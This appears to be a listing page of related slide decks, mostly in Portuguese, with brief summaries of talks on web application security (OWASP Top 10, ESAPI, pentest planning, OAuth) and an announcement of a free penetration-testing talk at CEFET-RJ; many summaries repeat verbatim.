O documento discute o uso da biblioteca OWASP ESAPI para fornecer segurança em aplicações web. Apresenta os objetivos e roteiro do curso, que inclui uma introdução às vulnerabilidades comuns e à arquitetura da ESAPI, com exemplos em Java. Também aborda conceitos como injeção de código e OWASP Top 10.
O documento fornece uma introdução sobre técnicas de teste de segurança, incluindo falsos positivos e negativos, camadas indetectáveis, análise de resultados com foco em riscos, criticidade e impacto. Também resume as principais fases de um pentest, como modelagem de ameaças, coleta de informações e exploração.
1) O documento introduz conceitos e terminologia essenciais para testes de segurança de aplicações web, como vulnerabilidades, ameaças, abordagens de pentest e classificação de riscos.
2) É explicada a importância de aplicações seguras devido ao alto número de ataques na camada de aplicação e vulnerabilidades encontradas.
3) São descritas as principais fases e considerações para a elaboração de um plano de teste de segurança, incluindo escopo, objetivos e permissões necessárias.
O documento fornece um resumo das principais ferramentas e tecnologias da OWASP (Open Web Application Security Project) para verificação e auditoria de segurança de aplicações web, desenvolvimento seguro de código e educação em segurança de aplicações. As categorias cobertas incluem verificação automática e manual de segurança, arquitetura de segurança, codificação segura, gestão de segurança de aplicações e educação em segurança de aplicações.
O documento discute os 10 principais riscos de segurança em aplicações web de acordo com a OWASP, fornecendo exemplos de cenários de ataque e dicas para evitá-los, como validação de entrada de dados, uso de tokens CSRF e atualização de componentes.
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações.
A Clavis Segurança da Informação tem o prazer de informar que, através do Grupo de Pesquisa em Computação Aplicada, fechou parceria com o CEFET-RJ para ministrar uma palestra aberta e gratuita sobre o tema “Teste de Invasão em Aplicações – principais técnicas, exploração e formas de prevenção” no dia 25/04, as 20:30, no Auditório 3 do CEFET, no endereço Rua General Canabarro, 485 – Maracanã, na cidade do Rio de Janeiro – RJ.
A palestra será ministrada pelo Diretor Técnico da Clavis, Rafael Soares Ferreira, e terá como objetivo demonstrar algumas das mais críticas ameaças a aplicações web. Serão demonstradas maneiras de identificar, explorar e mitigar cada uma das ameaças.
A Clavis Segurança da Informação tem o prazer de informar que, através do Grupo de Pesquisa em Computação Aplicada, fechou parceria com o CEFET-RJ para ministrar uma palestra aberta e gratuita sobre o tema “Teste de Invasão em Aplicações – principais técnicas, exploração e formas de prevenção” no dia 25/04, as 20:30, no Auditório 3 do CEFET, no endereço Rua General Canabarro, 485 – Maracanã, na cidade do Rio de Janeiro – RJ.
A palestra será ministrada pelo Diretor Técnico da Clavis, Rafael Soares Ferreira, e terá como objetivo demonstrar algumas das mais críticas ameaças a aplicações web. Serão demonstradas maneiras de identificar, explorar e mitigar cada uma das ameaças.
Testes de segurança em aplicações web são importantes devido ao aumento de incidentes de segurança. As principais falhas incluem injeção de código, cross-site scripting e falhas na autenticação. Ferramentas open source como WebScarab e WebGoat podem ser usadas para mapear aplicações e testar vulnerabilidades comuns.
O documento fornece um resumo das principais ferramentas e tecnologias da OWASP para automação e verificação manual de segurança, arquitetura de segurança, codificação segura, gestão de segurança de aplicações, educação em segurança de aplicações.
1) O documento discute testes de segurança de software, abordagens como white-box e black-box, e a importância da modelagem de ameaças para planejar testes.
2) É explicado que testes de segurança buscam garantir não repúdio, controle de acesso e privacidade de dados.
3) A modelagem de ameaças mapeia riscos e ajuda a definir requisitos de segurança.
O documento fornece uma introdução sobre técnicas de teste de segurança, incluindo falsos positivos e negativos, camadas indetectáveis, análise de resultados com foco em riscos, criticidade e impacto. Também resume as principais fases de um pentest, como modelagem de ameaças, coleta de informações e exploração.
1) O documento introduz conceitos e terminologia essenciais para testes de segurança de aplicações web, como vulnerabilidades, ameaças, abordagens de pentest e classificação de riscos.
2) É explicada a importância de aplicações seguras devido ao alto número de ataques na camada de aplicação e vulnerabilidades encontradas.
3) São descritas as principais fases e considerações para a elaboração de um plano de teste de segurança, incluindo escopo, objetivos e permissões necessárias.
O documento fornece um resumo das principais ferramentas e tecnologias da OWASP (Open Web Application Security Project) para verificação e auditoria de segurança de aplicações web, desenvolvimento seguro de código e educação em segurança de aplicações. As categorias cobertas incluem verificação automática e manual de segurança, arquitetura de segurança, codificação segura, gestão de segurança de aplicações e educação em segurança de aplicações.
O documento discute os 10 principais riscos de segurança em aplicações web de acordo com a OWASP, fornecendo exemplos de cenários de ataque e dicas para evitá-los, como validação de entrada de dados, uso de tokens CSRF e atualização de componentes.
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações.
A Clavis Segurança da Informação tem o prazer de informar que, através do Grupo de Pesquisa em Computação Aplicada, fechou parceria com o CEFET-RJ para ministrar uma palestra aberta e gratuita sobre o tema “Teste de Invasão em Aplicações – principais técnicas, exploração e formas de prevenção” no dia 25/04, as 20:30, no Auditório 3 do CEFET, no endereço Rua General Canabarro, 485 – Maracanã, na cidade do Rio de Janeiro – RJ.
A palestra será ministrada pelo Diretor Técnico da Clavis, Rafael Soares Ferreira, e terá como objetivo demonstrar algumas das mais críticas ameaças a aplicações web. Serão demonstradas maneiras de identificar, explorar e mitigar cada uma das ameaças.
A Clavis Segurança da Informação tem o prazer de informar que, através do Grupo de Pesquisa em Computação Aplicada, fechou parceria com o CEFET-RJ para ministrar uma palestra aberta e gratuita sobre o tema “Teste de Invasão em Aplicações – principais técnicas, exploração e formas de prevenção” no dia 25/04, as 20:30, no Auditório 3 do CEFET, no endereço Rua General Canabarro, 485 – Maracanã, na cidade do Rio de Janeiro – RJ.
A palestra será ministrada pelo Diretor Técnico da Clavis, Rafael Soares Ferreira, e terá como objetivo demonstrar algumas das mais críticas ameaças a aplicações web. Serão demonstradas maneiras de identificar, explorar e mitigar cada uma das ameaças.
Testes de segurança em aplicações web são importantes devido ao aumento de incidentes de segurança. As principais falhas incluem injeção de código, cross-site scripting e falhas na autenticação. Ferramentas open source como WebScarab e WebGoat podem ser usadas para mapear aplicações e testar vulnerabilidades comuns.
O documento fornece um resumo das principais ferramentas e tecnologias da OWASP para automação e verificação manual de segurança, arquitetura de segurança, codificação segura, gestão de segurança de aplicações, educação em segurança de aplicações.
1) O documento discute testes de segurança de software, abordagens como white-box e black-box, e a importância da modelagem de ameaças para planejar testes.
2) É explicado que testes de segurança buscam garantir não repúdio, controle de acesso e privacidade de dados.
3) A modelagem de ameaças mapeia riscos e ajuda a definir requisitos de segurança.
1) O documento apresenta uma palestra sobre as principais vulnerabilidades de segurança em aplicações web, focando no OWASP Top 10, e demonstra como explorá-las e protegê-las utilizando ferramentas e boas práticas de programação.
2) São discutidas vulnerabilidades como injeção de SQL, cross-site scripting, falhas na autenticação e controle de sessão e referências inseguras a objetos.
3) Também são apresentadas demonstrações práticas de como explorar essas vulnerabilidades e como evitá-
O documento fornece informações sobre os serviços de uma empresa de testes e qualidade de software chamada Qualister, incluindo terceirização de profissionais, consultoria, treinamentos, testes de segurança, usabilidade e performance. O documento também lista vulnerabilidades comuns em aplicações web e explica brevemente os riscos de segurança na internet.
O documento discute os dez riscos de segurança mais críticos em aplicações web segundo o Projeto Top 10 da OWASP. Ele explica cada risco, incluindo seus elementos como agentes de ameaça, explorabilidade, prevalência, detectabilidade e impactos. Os riscos incluem injeção, falhas de autenticação, cross-site scripting, referências diretas a objetos, configurações inseguras e exposição de dados.
Vou apresentar e explorar as 5 maiores falhas cometidas pelos programadosres na hora de codar e identificar as práticas de codificação inseguras que levam a esses erros para instruir os desenvolvedores sobre alternativas seguras, as organizações podem adotar medidas proativas para ajudar a reduzir ou eliminar significativamente as vulnerabilidades no software antes da implantação.
O documento discute os dez principais riscos de segurança em aplicações web (OWASP Top 10) e como preveni-los, incluindo injeção, cross-site scripting, autenticação falha e gerenciamento de sessão, referências diretas a objetos inseguros, falsificação de solicitação entre sites, configuração insegura, armazenamento criptográfico inseguro, falha em restringir acesso a URLs, proteção insuficiente na camada de transporte e redirecionamentos e encaminhamentos não validados.
O documento fornece dicas sobre como criar aplicações Node.js de forma segura, discutindo riscos comuns como XSS, SSJSi, CSRF e ataques DoS. Ele recomenda validar dados de entrada, evitar eval(), atualizar versões, usar corretamente métodos HTTP, remover cabeçalhos desnecessários e incluir testes de segurança no desenvolvimento.
O CJR Apresenta chega em sua segunda versão, de muitas, e dessa vez trás Thiago Stuckert e Leandro Silva dos Santos, formandos em Ciência da Computação, para falar de um assunto que jamais perderrá sua importância: Segurança na Web.
Nessa palestra, serão apresentados os 10 maiores riscos no desenvolvimento para Web, apontados através do OWASP (Open Web Application Security Project), projeto que a cada 3 anos, realiza esse estudo sobre os riscos na Web.
Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29cadiego
O documento apresenta as principais vulnerabilidades em aplicações web e recomendações de acordo com o OWASP TOP10. Aborda riscos como injeção, quebra de autenticação, XSS e exposição de dados. Recomenda validar entradas, minimizar privilégios, usar HTTPS e inserir segurança no ciclo de desenvolvimento.
Segurança em aplicações web: pequenas ideias, grandes resultadosAlex Camargo
O documento apresenta uma palestra sobre segurança em aplicações web ministrada pelo professor Alex Camargo. A palestra aborda três principais tipos de ataques: Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF) e SQL Injection. O professor demonstra como esses ataques funcionam e apresenta boas práticas de programação para preveni-los, como filtrar entradas e escapar saídas.
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner EliasMagno Logan
Este documento apresenta as dez vulnerabilidades mais críticas em aplicações web de acordo com o OWASP Top 10 de 2007, fornecendo uma breve descrição de cada uma delas e dicas de como tratá-las em PHP. O palestrante discute XSS, falhas de injeção, execução maliciosa de arquivos, referência direta a objetos, CSRF, vazamento de informações, furos de autenticação e outras ameaças comuns.
Palestra ministrada no OWASP Floripa Day - Florianópolis - SC |
Programadores desenvolvem código como se não houvesse amanhã e pouco se investe na validação de segurança de código. A palestra aborda práticas de revisão de segurança de código e como deve ser adotado a prática em um processo de desenvolvimento de software.
Teste de segurança em aplicações web ( sites )Pablo Ribeiro
A apresentação discute a importância de testes de segurança em sites e aplicações, destacando que: (1) incidentes de segurança vêm aumentando ano a ano, com aumentos significativos no número de ataques; (2) as principais falhas incluem injeções de SQL, autenticação e sessão, e configurações incorretas; (3) testes de segurança são necessários para identificar vulnerabilidades e proteger usuários e sistemas.
A apresentação discute frameworks para verificação de segurança de aplicações web, como OWASP Top Ten e Guia de Testes OWASP. O documento descreve os objetivos, OWASP, OWASP Top Ten, Guia de Testes OWASP, teste de intrusão e um estudo de caso, incluindo vulnerabilidades encontradas e recomendações.
Palestra - Darkmira Tour PHP 2016 - A ilusão das referências sobre desenvolv...Thiago Dieb
No desenvolvimento de uma aplicação PHP, o procedimento adotado pela maioria, ainda continua sendo a pesquisa na internet para achar exemplos de códigos, utilizando o google, bing, e os diversos motores de busca.
O fator preocupante relaciona-se as buscas a respeito de desenvolvimento seguro, muito programados não sabem como criar seus código com segurança e consequentemente recorrerem à internet. A grande questão está voltada para a confiabilidade das informações publicadas nesses sites.
O objetivo da palestra é apresentar diversos códigos que estão predominantemente entre os primeiros resultados das pesquisas sobre desenvolvimento seguro e dentre os quais existem vulnerabilidades e problemas nas dicas e tutoriais descritos.
Além de demonstrar e explorar as vulnerabilidades dos códigos publicados, também será apresentado as correções e os procedimentos de teste.
Este documento fornece um resumo sobre o ModSecurity, um firewall de aplicação web (WAF) open source. Ele discute como o ModSecurity funciona, como ele é implantado e como ele analisa solicitações e respostas para detectar ataques. O documento também aborda o conjunto de regras principais do ModSecurity e ferramentas como o WAF-FLE para visualização de logs.
Este documento discute programação defensiva e como escrever código seguro. Ele explica por que a segurança do software é importante, conceitos como spoofing e negação de serviço, e técnicas como validação de entrada de usuário, uso de abstrações de banco de dados e frameworks, escrita de testes e configuração de headers de segurança.
O documento discute as 10 principais vulnerabilidades em aplicações web, como injeção, quebra de autenticação, cross-site scripting e configuração insegura. Também fornece definições de termos como vulnerabilidade e ameaça, e aborda como projetar aplicações web de forma segura usando padrões como o ASVS.
A apresentação discute a importância da segurança no desenvolvimento de software. Aborda os requisitos mínimos para um software ser considerado seguro, como revisão de código, análise de risco da arquitetura e pentesting. Também apresenta projetos da OWASP como o Top 10, ASVS e guia de testes que fornecem diretrizes para o desenvolvimento seguro de aplicações.
O documento discute tópicos sobre segurança na plataforma Java, abordando a metodologia SD3 de desenvolvimento seguro, categorias de ameaças como STRIDE e OWASP Top 10, e implementações e ferramentas de segurança como autenticação, criptografia, certificados digitais e mecanismos de autorização.
Um Mecanismo de Proteção Contra a Previsibilidade de Informações em PacotesEduardo Souza
1) O documento propõe um Mecanismo de Eliminação de Previsibilidade de Pacotes (EPP) para evitar ataques baseados na previsibilidade do tamanho e conteúdo de pacotes criptografados.
2) O EPP insere bytes falsos aleatoriamente nos pacotes antes da criptografia para tornar o tamanho e conteúdo imprevisíveis.
3) O EPP pode ser implementado em protocolos como WPA e WPA2 sem necessidade de alterações significativas e potencialmente prevenir novos ataques.
This document provides information on using Facebook authentication and OAuth on websites. It discusses Facebook authentication which works on the OAuth 2.0 protocol. OAuth attempts to provide a standard way for developers to offer services via an API without exposing user passwords. It defines terminology like app ID, app secret, token, and callback URI used in the OAuth flow. Notable changes to the Facebook developer platform include removal of offline access and merging of the Facebook share button and like button. The document also covers Open Graph tags and terminology.
1) O documento apresenta uma palestra sobre as principais vulnerabilidades de segurança em aplicações web, focando no OWASP Top 10, e demonstra como explorá-las e protegê-las utilizando ferramentas e boas práticas de programação.
2) São discutidas vulnerabilidades como injeção de SQL, cross-site scripting, falhas na autenticação e controle de sessão e referências inseguras a objetos.
3) Também são apresentadas demonstrações práticas de como explorar essas vulnerabilidades e como evitá-
O documento fornece informações sobre os serviços de uma empresa de testes e qualidade de software chamada Qualister, incluindo terceirização de profissionais, consultoria, treinamentos, testes de segurança, usabilidade e performance. O documento também lista vulnerabilidades comuns em aplicações web e explica brevemente os riscos de segurança na internet.
O documento discute os dez riscos de segurança mais críticos em aplicações web segundo o Projeto Top 10 da OWASP. Ele explica cada risco, incluindo seus elementos como agentes de ameaça, explorabilidade, prevalência, detectabilidade e impactos. Os riscos incluem injeção, falhas de autenticação, cross-site scripting, referências diretas a objetos, configurações inseguras e exposição de dados.
Vou apresentar e explorar as 5 maiores falhas cometidas pelos programadosres na hora de codar e identificar as práticas de codificação inseguras que levam a esses erros para instruir os desenvolvedores sobre alternativas seguras, as organizações podem adotar medidas proativas para ajudar a reduzir ou eliminar significativamente as vulnerabilidades no software antes da implantação.
O documento discute os dez principais riscos de segurança em aplicações web (OWASP Top 10) e como preveni-los, incluindo injeção, cross-site scripting, autenticação falha e gerenciamento de sessão, referências diretas a objetos inseguros, falsificação de solicitação entre sites, configuração insegura, armazenamento criptográfico inseguro, falha em restringir acesso a URLs, proteção insuficiente na camada de transporte e redirecionamentos e encaminhamentos não validados.
O documento fornece dicas sobre como criar aplicações Node.js de forma segura, discutindo riscos comuns como XSS, SSJSi, CSRF e ataques DoS. Ele recomenda validar dados de entrada, evitar eval(), atualizar versões, usar corretamente métodos HTTP, remover cabeçalhos desnecessários e incluir testes de segurança no desenvolvimento.
O CJR Apresenta chega em sua segunda versão, de muitas, e dessa vez trás Thiago Stuckert e Leandro Silva dos Santos, formandos em Ciência da Computação, para falar de um assunto que jamais perderrá sua importância: Segurança na Web.
Nessa palestra, serão apresentados os 10 maiores riscos no desenvolvimento para Web, apontados através do OWASP (Open Web Application Security Project), projeto que a cada 3 anos, realiza esse estudo sobre os riscos na Web.
Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29cadiego
O documento apresenta as principais vulnerabilidades em aplicações web e recomendações de acordo com o OWASP TOP10. Aborda riscos como injeção, quebra de autenticação, XSS e exposição de dados. Recomenda validar entradas, minimizar privilégios, usar HTTPS e inserir segurança no ciclo de desenvolvimento.
Segurança em aplicações web: pequenas ideias, grandes resultadosAlex Camargo
O documento apresenta uma palestra sobre segurança em aplicações web ministrada pelo professor Alex Camargo. A palestra aborda três principais tipos de ataques: Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF) e SQL Injection. O professor demonstra como esses ataques funcionam e apresenta boas práticas de programação para preveni-los, como filtrar entradas e escapar saídas.
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner EliasMagno Logan
Este documento apresenta as dez vulnerabilidades mais críticas em aplicações web de acordo com o OWASP Top 10 de 2007, fornecendo uma breve descrição de cada uma delas e dicas de como tratá-las em PHP. O palestrante discute XSS, falhas de injeção, execução maliciosa de arquivos, referência direta a objetos, CSRF, vazamento de informações, furos de autenticação e outras ameaças comuns.
Palestra ministrada no OWASP Floripa Day - Florianópolis - SC |
Programadores desenvolvem código como se não houvesse amanhã e pouco se investe na validação de segurança de código. A palestra aborda práticas de revisão de segurança de código e como deve ser adotado a prática em um processo de desenvolvimento de software.
Teste de segurança em aplicações web ( sites )Pablo Ribeiro
A apresentação discute a importância de testes de segurança em sites e aplicações, destacando que: (1) incidentes de segurança vêm aumentando ano a ano, com aumentos significativos no número de ataques; (2) as principais falhas incluem injeções de SQL, autenticação e sessão, e configurações incorretas; (3) testes de segurança são necessários para identificar vulnerabilidades e proteger usuários e sistemas.
A apresentação discute frameworks para verificação de segurança de aplicações web, como OWASP Top Ten e Guia de Testes OWASP. O documento descreve os objetivos, OWASP, OWASP Top Ten, Guia de Testes OWASP, teste de intrusão e um estudo de caso, incluindo vulnerabilidades encontradas e recomendações.
Palestra - Darkmira Tour PHP 2016 - A ilusão das referências sobre desenvolv...Thiago Dieb
No desenvolvimento de uma aplicação PHP, o procedimento adotado pela maioria, ainda continua sendo a pesquisa na internet para achar exemplos de códigos, utilizando o google, bing, e os diversos motores de busca.
O fator preocupante relaciona-se as buscas a respeito de desenvolvimento seguro, muito programados não sabem como criar seus código com segurança e consequentemente recorrerem à internet. A grande questão está voltada para a confiabilidade das informações publicadas nesses sites.
O objetivo da palestra é apresentar diversos códigos que estão predominantemente entre os primeiros resultados das pesquisas sobre desenvolvimento seguro e dentre os quais existem vulnerabilidades e problemas nas dicas e tutoriais descritos.
Além de demonstrar e explorar as vulnerabilidades dos códigos publicados, também será apresentado as correções e os procedimentos de teste.
Este documento fornece um resumo sobre o ModSecurity, um firewall de aplicação web (WAF) open source. Ele discute como o ModSecurity funciona, como ele é implantado e como ele analisa solicitações e respostas para detectar ataques. O documento também aborda o conjunto de regras principais do ModSecurity e ferramentas como o WAF-FLE para visualização de logs.
Este documento discute programação defensiva e como escrever código seguro. Ele explica por que a segurança do software é importante, conceitos como spoofing e negação de serviço, e técnicas como validação de entrada de usuário, uso de abstrações de banco de dados e frameworks, escrita de testes e configuração de headers de segurança.
O documento discute as 10 principais vulnerabilidades em aplicações web, como injeção, quebra de autenticação, cross-site scripting e configuração insegura. Também fornece definições de termos como vulnerabilidade e ameaça, e aborda como projetar aplicações web de forma segura usando padrões como o ASVS.
A apresentação discute a importância da segurança no desenvolvimento de software. Aborda os requisitos mínimos para um software ser considerado seguro, como revisão de código, análise de risco da arquitetura e pentesting. Também apresenta projetos da OWASP como o Top 10, ASVS e guia de testes que fornecem diretrizes para o desenvolvimento seguro de aplicações.
O documento discute tópicos sobre segurança na plataforma Java, abordando a metodologia SD3 de desenvolvimento seguro, categorias de ameaças como STRIDE e OWASP Top 10, e implementações e ferramentas de segurança como autenticação, criptografia, certificados digitais e mecanismos de autorização.
Um Mecanismo de Proteção Contra a Previsibilidade de Informações em PacotesEduardo Souza
1) O documento propõe um Mecanismo de Eliminação de Previsibilidade de Pacotes (EPP) para evitar ataques baseados na previsibilidade do tamanho e conteúdo de pacotes criptografados.
2) O EPP insere bytes falsos aleatoriamente nos pacotes antes da criptografia para tornar o tamanho e conteúdo imprevisíveis.
3) O EPP pode ser implementado em protocolos como WPA e WPA2 sem necessidade de alterações significativas e potencialmente prevenir novos ataques.
This document provides information on using Facebook authentication and OAuth on websites. It discusses Facebook authentication which works on the OAuth 2.0 protocol. OAuth attempts to provide a standard way for developers to offer services via an API without exposing user passwords. It defines terminology like app ID, app secret, token, and callback URI used in the OAuth flow. Notable changes to the Facebook developer platform include removal of offline access and merging of the Facebook share button and like button. The document also covers Open Graph tags and terminology.
The document discusses the OAuth 1.0 authentication protocol. It defines key terms like token, callback URI, OAuth signatures, and describes the OAuth authentication process. Client requests include parameters like OAuth_token and OAuth_signature, calculated using the signature base string. The server validates the signature to verify the client's identity before granting access to protected resources. Signatures can be generated via HMAC-SHA1, RSA-SHA1, or plaintext depending on the method used.
The document discusses the steps for implementing OAuth authentication with Facebook. It involves:
1. Sending an OAuth request to Facebook with the application ID.
2. Requesting required permissions/scopes to access the user's account.
3. Receiving an access token and access verifier from Facebook.
4. Storing the token in a database to reuse it for making API calls to get/post user status updates or other information.
Este documento resume as principais técnicas de segurança do Zend Framework 2, incluindo filtragem de entrada, validação de dados, escape de saída, criptografia, controle de acesso e preparação de consultas para proteger aplicações PHP.
OAuth is taking off as a standard way for apps and websites to handle authentication. But OAuth is a fast moving spec that can be hard to pin down.
Why should you use OAuth and what are the business and operational benefits? What's the story with all of the different versions and which one should you choose?
Watch this webinar with Apigee's CTO Gregory Brail and Sr. Architect Brian Pagano for 'big picture straight talk' on these OAuth questions and more.
Este documento resume o que é OWASP (Open Web Application Security Project), incluindo suas publicações e softwares como o WebGoat, que é uma ferramenta educacional para ensinar sobre segurança de aplicações web através de lições sobre ataques como SQL Injection e XSS.
1. O documento apresenta as 10 vulnerabilidades de segurança mais críticas em aplicações WEB para 2007 de acordo com a OWASP.
2. A metodologia utilizada foi analisar os dados de vulnerabilidades do MITRE para 2006 e selecionar as 10 principais vulnerabilidades relacionadas a aplicações WEB.
3. As 10 vulnerabilidades listadas são: Cross Site Scripting, Falhas de Injeção, Execução Maliciosa de Arquivos, Referência Insegura Direta a Objetos, Cross Site Request Forgery, Vazamento de Informações, Furos de Autent
O documento discute análise de segurança em aplicações web, mencionando os 10 riscos mais críticos identificados pela OWASP, como injeção, XSS e falhas de configuração. Também fornece links sobre ferramentas e passo-a-passo para testes de segurança.
Engenharia de Software II - Teste de segurança de softwareJuliano Padilha
O documento discute testes de segurança de software, enfatizando:
A importância de testes de segurança para garantir confidencialidade, integridade, disponibilidade, autenticidade e não-repúdio;
As abordagens de teste de segurança, incluindo white box, black box e fuzzing.
O documento fornece 10 dicas de segurança para desenvolvedores, incluindo a importância de um arquiteto de segurança, validação de dados de entrada, criptografia, logs e proteção de comunicações.
O relatório resume um teste de intrusão realizado em uma aplicação web para verificar vulnerabilidades de segurança. O teste não encontrou vulnerabilidades e a aplicação estava em conformidade com as melhores práticas de segurança como configurações, criptografia e autenticação. O auditor responsável possui vasta experiência em segurança cibernética.
ENSOL 2011 - OWASP e a Segurança na WebMagno Logan
O documento apresenta uma palestra sobre segurança na web e ferramentas de teste de vulnerabilidades. Resume as principais vulnerabilidades do OWASP Top 10, como injeção de SQL, XSS e falhas de autenticação. Demonstra exemplos e explica como evitar essas falhas. Também apresenta ferramentas open source como OWASP ZAP, Mantra e SQLmap para teste de aplicações.
O documento discute os 10 principais riscos de segurança em aplicações web de acordo com a OWASP, fornecendo exemplos de cenários de ataque e dicas para evitá-los, como validação de entrada de dados, uso de tokens CSRF e atualização de componentes.
O documento discute o desenvolvimento de software seguro, destacando que a maioria das vulnerabilidades são resultados de má codificação. Apresenta a injeção de código como a principal causa de vulnerabilidades e exemplifica um ataque de SQL injection. Reforça a importância de usar boas práticas de programação segura, como tratar todas as entradas de usuário como parâmetros e usar privilégios mínimos.
Tutorial: Principais Vulnerabilidades em Aplicações Web – Rafael Soares Ferreira.
Webinar sobre este assunto também disponível em http://www.blog.clavis.com.br/webinar-20-as-principais-vulnerabilidades-em-aplicacoes-web-owasp-top-10-2013/
1) O documento discute os riscos de segurança mais críticos em aplicações web, conhecidos como OWASP Top 10.
2) A lista dos 10 riscos foi atualizada para 2010 com a adição de dois novos itens e remoção de dois itens anteriores.
3) O objetivo do Top 10 é educar sobre como avaliar e mitigar esses riscos nas aplicações, melhorando assim a segurança.
OWASP Top 10 2010 para JavaEE (pt-BR)
Versão traduzida e atualizada do OWASP Top 10 2007 for JavaEE
Traduzida por: Magno Logan (OWASP Paraíba Chapter Leader)
O documento discute análise de vulnerabilidades em aplicações web, abordando princípios de sistemas web, ataques web, princípios de segurança web, OWASP, ferramentas de análise e auditoria, vulnerabilidades web e oportunidades. O documento também apresenta uma demonstração da ferramenta WebGoat para ensinar sobre segurança em aplicações web.
O documento fornece informações sobre como se tornar um especialista em desenvolvimento seguro de software, discutindo boas práticas de segurança, ameaças comuns como SQL injection e XSS, e certificações como SPF EXIN e CSSLP para validar conhecimentos.
O documento discute a importância da segurança de aplicações web ao longo do ciclo de desenvolvimento de software. Apresenta os principais vetores de ataque a aplicações web, como injeção de código e cross-site scripting. Defende a necessidade de testes de segurança desde as primeiras fases do desenvolvimento para identificar e corrigir vulnerabilidades.
O documento analisa vulnerabilidades de segurança em um site, incluindo uma página php que expõe informações de configuração do servidor, arquivos que permitem download através de argumentos, e injeção de SQL que permite acesso completo ao banco de dados. Ele também discute técnicas de firewall de aplicação web e o software livre OSSIM para gerenciamento de eventos e segurança.
ï€1⁄4 O documento apresenta o Open Web Application Security Project (OWASP), um projeto aberto dedicado à segurança de aplicações web.
ï€1⁄4 O OWASP fornece publicações, ferramentas e software livres para auxiliar na criação de aplicações web seguras, como o guia OWASP Top 10 e as ferramentas WebGoat e WebScarab.
ï€1⁄4 O documento também descreve o funcionamento do OWASP Portugal e suas atividades, como o capítulo local e participação em eventos para promover a segurança de aplicações web
Semelhante a AppSec Brazil 2010 - Utilizando a ESAPI para prover Segurança em Aplicações Web by Tarcizio Vieira Neto (20)
DevSecOps - Integrating Security in the Development Process (with memes) - Ma...Magno Logan
The document discusses shifting security left in the software development lifecycle using an agile approach and automation tools. It recommends planning security from the beginning of the development process. Automation is key to continuously test for vulnerabilities during integration and development. Tools mentioned include an open source CI server to detect errors, Zed Attack Proxy to automatically find web application vulnerabilities, and various resources on securing the DevOps pipeline.
Katana Security - Consultoria em Segurança da InformaçãoMagno Logan
A Katana Security é uma empresa de consultoria em segurança da informação da Paraíba, fundada por Magno Rodrigues. Ela oferece serviços como análises de segurança, auditoria PCI, testes de segurança em aplicações e infraestrutura, revisão de código, e treinamentos em segurança da informação. A empresa também fornece licenças de ferramentas de teste de segurança como Syhunt, Netsparker e Acunetix.
The document discusses a new web security technique called cross-site tracing (XST) that can bypass the HTTP-only security feature in Internet Explorer 6 SP1 and perform cross-site scripting attacks. XST exploits the TRACE HTTP request method, which echoes request information to the client, to obtain authentication cookies from other domains over HTTP and HTTPS. While HTTP-only helps prevent cookie access via JavaScript, XST can still access cookies through TRACE requests.
This document provides an overview of the top 10 most critical web application security vulnerabilities for Java EE applications. It discusses each vulnerability in detail, including cross-site scripting (XSS), injection flaws, malicious file execution, insecure direct object references, cross-site request forgery (CSRF), information leakage, broken authentication, insecure cryptographic storage, insecure communications, and failure to restrict URL access. For each issue, it explains how attackers exploit the vulnerability and provides recommendations for protecting against the risk. The goal is to educate developers on common security risks and how to build more secure Java EE applications.
XPath injection occurs when user-supplied input is used to construct an XPath query without sanitization, allowing an attacker to access unauthorized XML data or elevate privileges. Like SQL injection, malicious XPath can expose sensitive information or take control of authentication by modifying the query. The WebCruiser tool can scan for and prove XPath injection vulnerabilities by modifying queries and observing the results.
The document discusses SQL injection, including forms of vulnerability like incorrectly filtered escape characters and incorrect type handling. It describes preventing SQL injection through parameterized statements, escaping user input, and using a web vulnerability scanner. Parameterized statements are the preferred method, binding user input to parameters in the SQL query rather than embedding it. Enforcement can occur at the database or coding level. Escaping user input is an alternative but not as robust as parameterized statements.
This document provides a tutorial on SQL injection, including:
- Explaining what SQL injection is and how it works by exploiting vulnerabilities in database queries
- Steps to test for SQL injection vulnerabilities like determining the database type and getting environment information
- Methods for extracting data through SQL injection like getting database, table, and column names and record data
- Recommending the use of automated SQL injection scanning tools like WebCruiser to more efficiently test for and exploit SQL injection vulnerabilities
- Instructions for setting up sample PHP/MySQL and ASP/SQL Server testing environments to practice SQL injection techniques
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka IrongeekMagno Logan
The document discusses various web application vulnerabilities from the OWASP Top 10 list, including cross-site scripting (XSS), SQL injection, remote file inclusion, insecure direct object references, and cross-site request forgery (CSRF). It provides examples of each vulnerability type and recommendations for prevention. It also introduces Mutillidae, a deliberately vulnerable web application that can be used to demonstrate these vulnerabilities in a controlled environment.
Co0L 2011 - Segurança em Sites de Compras Coletivas: Vulnerabilidades, Ataqu...Magno Logan
Co0L 2011 - Segurança em Sites de Compras Coletivas: Vulnerabilidades, Ataques e Contra-medidas
Maio de 2011 em SP
http://garoa.net.br/wiki/O_Outro_Lado
AppSec EU 2009 - HTTP Parameter Pollution by Luca Carettoni and Stefano di P...Magno Logan
This document discusses HTTP Parameter Pollution (HPP), a technique for overriding or adding HTTP parameters by injecting query string delimiters. It can enable server-side attacks by modifying backend requests or bypassing web application firewalls. On the client-side, HPP can inject additional parameters into links and tags to enable attacks like anti-CSRF, UI redressing, or modifying POST requests. Real-world examples show HPP bypassing filters and accessing internal search results. The document categorizes HPP attacks and argues it is an underestimated issue affecting all web technologies.
AppSec EU 2011 - An Introduction to ZAP by Simon BennettsMagno Logan
ZAP (Zed Attack Proxy) is an open source web application penetration testing tool that is easy to use, cross-platform, and has been downloaded over 6,300 times. It includes features like an intercepting proxy, active and passive scanners, a spider, and report generation that allow it to test web applications for vulnerabilities. ZAP has an active international development community, is improving rapidly with new releases, and has the potential to introduce more people to application security best practices.
OWASP Floripa - Web Spiders: Automação para Web Hacking by Antonio Costa aka ...Magno Logan
O documento discute sobre web spiders e fornece exemplos de código em C para criar um web spider simples. Também aborda casos de uso comuns de web spiders, como mineração de dados e autenticação em sites, e menciona ferramentas como Selenium para automação no navegador.
AppSec DC 2009 - Learning by breaking by Chuck WillisMagno Logan
